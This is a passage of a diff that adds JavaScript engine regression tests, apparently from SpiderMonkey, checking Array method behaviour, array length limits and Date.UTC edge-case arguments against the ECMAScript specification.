+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '-12';
+ actual = 0;
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6]);
+ actual += [2, 3,, 4, 5, 6].lastIndexOf();
+ actual += Array.prototype.lastIndexOf.call([2, 3,, 4, 5, 6]);
+ actual += Array.prototype.lastIndexOf.apply([2, 3,, 4, 5, 6], [, -4]);
+ actual += Array.prototype.lastIndexOf.apply([2, 3,, 4, 5, 6], [undefined, -4]);
+ actual += Array.prototype.lastIndexOf.apply([2, 3,, 4, 5, 6], [undefined, -5]);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined, 1);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined, 2);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined, 1);
+ actual += Array.lastIndexOf([2, 3,, 4, 5, 6], undefined, 2);
+
+ actual = String(actual);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/browser.js b/js/src/tests/ecma_3/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/browser.js
diff --git a/js/src/tests/ecma_3/Array/regress-101488.js b/js/src/tests/ecma_3/Array/regress-101488.js
new file mode 100644
index 000000000..b5563745f
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-101488.js
@@ -0,0 +1,138 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 24 September 2001
+ *
+ * SUMMARY: Try assigning arr.length = new Number(n)
+ * From correspondence with Igor Bukanov <igor@icesoft.no>
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101488
+ *
+ * Without the "new" keyword, assigning arr.length = Number(n) worked.
+ * But with it, Rhino was giving an error "Inappropriate array length"
+ * and SpiderMonkey was exiting without giving any error or return value -
+ *
+ * Comments on the Rhino code by igor@icesoft.no:
+ *
+ * jsSet_length requires that the new length value should be an instance
+ * of Number. But according to Ecma 15.4.5.1, item 12-13, an error should
+ * be thrown only if ToUint32(length_value) != ToNumber(length_value)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101488;
+var summary = 'Try assigning arr.length = new Number(n)';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+
+
+status = inSection(1);
+arr = Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(2);
+arr = Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(3);
+arr = Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(4);
+arr = Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+/*
+ * Also try the above with the "new" keyword before Array().
+ * Array() and new Array() should be equivalent, by ECMA 15.4.1.1
+ */
+status = inSection(5);
+arr = new Array();
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+status = inSection(6);
+arr = new Array(5);
+tryThis('arr.length = new Number(1);');
+actual = arr.length;
+expect = 1;
+addThis();
+
+arr = new Array();
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+status = inSection(7);
+arr = new Array(5);
+tryThis('arr.length = new Number(17);');
+actual = arr.length;
+expect = 17;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function tryThis(s)
+{
+ try
+ {
+ eval(s);
+ }
+ catch(e)
+ {
+ // keep going
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-130451.js b/js/src/tests/ecma_3/Array/regress-130451.js
new file mode 100644
index 000000000..9dc5dc41e
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-130451.js
@@ -0,0 +1,185 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Mar 2002
+ * SUMMARY: Array.prototype.sort() should not (re-)define .length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=130451
+ *
+ * From the ECMA-262 Edition 3 Final spec:
+ *
+ * NOTE: The sort function is intentionally generic; it does not require that
+ * its |this| value be an Array object. Therefore, it can be transferred to
+ * other kinds of objects for use as a method. Whether the sort function can
+ * be applied successfully to a host object is implementation-dependent.
+ *
+ * The interesting parts of this testcase are the contrasting expectations for
+ * Brendan's test below, when applied to Array objects vs. non-Array objects.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 130451;
+var summary = 'Array.prototype.sort() should not (re-)define .length';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+var cmp = new Function();
+
+
+/*
+ * First: test Array.prototype.sort() on Array objects
+ */
+status = inSection(1);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(2);
+arr = [0,1,2,3];
+cmp = function(x,y) {return y-x;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(3);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.length = 1;
+actual = arr.sort(cmp).length;
+expect = 1;
+addThis();
+
+/*
+ * This test is by Brendan. Setting arr.length to
+ * 2 and then 4 should cause elements to be deleted.
+ */
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.sort(cmp);
+
+status = inSection(4);
+actual = arr.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(5);
+actual = arr.length;
+expect = 4;
+addThis();
+
+status = inSection(6);
+arr.length = 2;
+actual = arr.join();
+expect = '0,1';
+addThis();
+
+status = inSection(7);
+arr.length = 4;
+actual = arr.join();
+expect = '0,1,,'; //<---- see how 2,3 have been lost
+addThis();
+
+
+
+/*
+ * Now test Array.prototype.sort() on non-Array objects
+ */
+status = inSection(8);
+var obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 0;
+obj[1] = 1;
+obj[2] = 2;
+obj[3] = 3;
+cmp = function(x,y) {return x-y;};
+actual = obj.sort(cmp).length;
+expect = 4;
+addThis();
+
+
+/*
+ * Here again is Brendan's test. Unlike the array case
+ * above, the setting of obj.length to 2 and then 4
+ * should NOT cause elements to be deleted
+ */
+obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 3;
+obj[1] = 2;
+obj[2] = 1;
+obj[3] = 0;
+cmp = function(x,y) {return x-y;};
+obj.sort(cmp); //<---- this is what triggered the buggy behavior below
+obj.join = Array.prototype.join;
+
+status = inSection(9);
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(10);
+actual = obj.length;
+expect = 4;
+addThis();
+
+status = inSection(11);
+obj.length = 2;
+actual = obj.join();
+expect = '0,1';
+addThis();
+
+/*
+ * Before this bug was fixed, |actual| held the value '0,1,,'
+ * as in the Array-object case at top. This bug only occurred
+ * if Array.prototype.sort() had been applied to |obj|,
+ * as we have done higher up.
+ */
+status = inSection(12);
+obj.length = 4;
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-322135-01.js b/js/src/tests/ecma_3/Array/regress-322135-01.js
new file mode 100644
index 000000000..2f65724eb
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-322135-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.push on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+printStatus('before array.length = ' + array.length);
+
+try
+{
+ array.push('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[length];
+//reportCompare(expect, actual, summary + ': element appended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/ecma_3/Array/regress-322135-02.js b/js/src/tests/ecma_3/Array/regress-322135-02.js
new file mode 100644
index 000000000..3fbfb59f3
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-322135-02.js
@@ -0,0 +1,32 @@
+// |reftest| skip -- slow (bug 1234947)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.concat on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array1 = new Array(length);
+var array2 = ['Kibo'];
+var array;
+
+try
+{
+ array = array1.concat(array2);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Array/regress-322135-03.js b/js/src/tests/ecma_3/Array/regress-322135-03.js
new file mode 100644
index 000000000..1ff42eb66
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-322135-03.js
@@ -0,0 +1,40 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.splice on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+var array1 = ['Kibo'];
+var array;
+
+try
+{
+ array.splice(0, 0, array1);
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary + ': RangeError');
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': element prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/ecma_3/Array/regress-322135-04.js b/js/src/tests/ecma_3/Array/regress-322135-04.js
new file mode 100644
index 000000000..c1858ea20
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-322135-04.js
@@ -0,0 +1,38 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322135;
+var summary = 'Array.prototype.unshift on Array with length 2^32-1';
+var actual = 'Completed';
+var expect = 'Completed';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This bug passes if it does not cause an out of memory error');
+printStatus('Other issues related to array length are not tested.');
+
+var length = 4294967295;
+var array = new Array(length);
+
+try
+{
+ array.unshift('Kibo');
+}
+catch(ex)
+{
+ printStatus(ex.name + ': ' + ex.message);
+}
+reportCompare(expect, actual, summary);
+
+//expect = 'Kibo';
+//actual = array[0];
+//reportCompare(expect, actual, summary + ': first prepended');
+
+//expect = length;
+//actual = array.length;
+//reportCompare(expect, actual, summary + ': array length unchanged');
diff --git a/js/src/tests/ecma_3/Array/regress-387501.js b/js/src/tests/ecma_3/Array/regress-387501.js
new file mode 100644
index 000000000..9646fe5e9
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-387501.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387501;
+var summary =
+ 'Array.prototype.toString|toLocaleString|toSource are generic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[object String]';
+ actual = Array.prototype.toString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ expect = 'f,o,o';
+ actual = Array.prototype.toLocaleString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ assertEq('["f", "o", "o"]', Array.prototype.toSource.call(new String('foo')));
+
+ if (typeof Array.prototype.toSource != 'undefined')
+ {
+ try
+ {
+ Array.prototype.toSource.call('foo');
+ throw new Error("didn't throw");
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof TypeError, true,
+ "wrong error thrown: expected TypeError, got " + ex);
+ }
+ }
+
+ reportCompare(true, true, "Tests complete");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-390598.js b/js/src/tests/ecma_3/Array/regress-390598.js
new file mode 100644
index 000000000..f100050ec
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-390598.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'Override inherited length of Array-like object';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F() {}
+ F.prototype = [];
+
+ // override inherited length from the prototype.
+ expect = 10;
+ var x = new F();
+
+ print('x = new F(); x instanceof Array: ' + (x instanceof Array));
+
+ x.length = expect;
+ actual = x.length;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-421325.js b/js/src/tests/ecma_3/Array/regress-421325.js
new file mode 100644
index 000000000..84f884ba0
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-421325.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 421325;
+var summary = 'Dense Arrays and holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[1] = 'bar';
+
+ var a = [];
+ a[0]='foo';
+ a[2] = 'baz';
+ expect = 'foo,bar,baz';
+ actual = a + '';
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-430717.js b/js/src/tests/ecma_3/Array/regress-430717.js
new file mode 100644
index 000000000..31b3b8325
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-430717.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430717;
+var summary = 'Dense Arrays should inherit deleted elements from Array.prototype';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[2] = "two";
+ var a = [0,1,2,3];
+ delete a[2];
+
+ expect = 'two';
+ actual = a[2];
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-488989.js b/js/src/tests/ecma_3/Array/regress-488989.js
new file mode 100644
index 000000000..a610f413b
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-488989.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 488989;
+var summary = 'Array.prototype.push for non-arrays near max-array-index limit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 37);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 5);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 32) -2;
+ stack.push(-2, -1, 0);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/regress-619970.js b/js/src/tests/ecma_3/Array/regress-619970.js
new file mode 100644
index 000000000..6ec94fc3b
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/regress-619970.js
@@ -0,0 +1,8 @@
+function test() {
+ delete arguments[1];
+ return Array.prototype.join.call(arguments);
+}
+assertEq(test(1,2,3), "1,,3");
+Object.prototype[1] = "ponies!!!1";
+assertEq(test(1,2,3), "1,ponies!!!1,3");
+reportCompare(true,true);
diff --git a/js/src/tests/ecma_3/Array/shell.js b/js/src/tests/ecma_3/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/shell.js
diff --git a/js/src/tests/ecma_3/Date/15.9.1.2-01.js b/js/src/tests/ecma_3/Date/15.9.1.2-01.js
new file mode 100644
index 000000000..9b12e3184
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.1.2-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 264727;
+var summary = '15.9.1.2 - TimeWithinDay(TIME_1900) == 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 0;
+ actual = TimeWithinDay(TIME_1900);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Date/15.9.4.3.js b/js/src/tests/ecma_3/Date/15.9.4.3.js
new file mode 100644
index 000000000..ba4d4d7cb
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.4.3.js
@@ -0,0 +1,200 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363578;
+var summary = '15.9.4.3 - Date.UTC edge-case arguments.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ //
+
+ expect = 31;
+ actual = (new Date(Date.UTC(2006, 0, 0)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date 0');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours 0');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes 0');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, 0)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds 0');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, 0, 0)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds 0');
+
+ //
+
+ expect = 30;
+ actual = (new Date(Date.UTC(2006, 0, -1)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date -1');
+
+ expect = 23;
+ actual = (new Date(Date.UTC(2006, 0, 0, -1)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours -1');
+
+ expect = 59;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, -1)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes -1');
+
+ expect = 59;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, -1)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds -1');
+
+ expect = 999;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, 0, -1)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds -1');
+
+ //
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, undefined)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date undefined');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, undefined)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours undefined');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, undefined)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes undefined');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, undefined)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds undefined');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, 0, undefined)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds undefined');
+
+ //
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, {})).getUTCDate());
+ reportCompare(expect, actual, summary + ': date {}');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, {})).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours {}');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, {})).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes {}');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, {})).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds {}');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, 0, {})).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds {}');
+
+ //
+
+ expect = 31;
+ actual = (new Date(Date.UTC(2006, 0, null)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date null');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, null)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours null');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, null)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes null');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, null)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds null');
+
+ expect = 0;
+ actual = (new Date(Date.UTC(2006, 0, 0, 0, 0, 0, null)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds null');
+
+ //
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, Infinity)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, Infinity)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, Infinity)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, Infinity)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, 0, Infinity)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds Infinity');
+
+ //
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, -Infinity)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date -Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, -Infinity)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours -Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, -Infinity)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes -Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, -Infinity)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds -Infinity');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, 0, -Infinity)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds -Infinity');
+
+ //
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, NaN)).getUTCDate());
+ reportCompare(expect, actual, summary + ': date NaN');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, NaN)).getUTCHours());
+ reportCompare(expect, actual, summary + ': hours NaN');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, NaN)).getUTCMinutes());
+ reportCompare(expect, actual, summary + ': minutes NaN');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, NaN)).getUTCSeconds());
+ reportCompare(expect, actual, summary + ': seconds NaN');
+
+ expect = true;
+ actual = isNaN(new Date(Date.UTC(2006, 0, 0, 0, 0, 0, NaN)).getUTCMilliseconds());
+ reportCompare(expect, actual, summary + ': milliseconds NaN');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Date/15.9.5.3.js b/js/src/tests/ecma_3/Date/15.9.5.3.js
new file mode 100644
index 000000000..e3f072b47
--- /dev/null
+++ b/js/src/tests/ecma_3/Date/15.9.5.3.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/**
+ File Name: 15.9.5.3.js
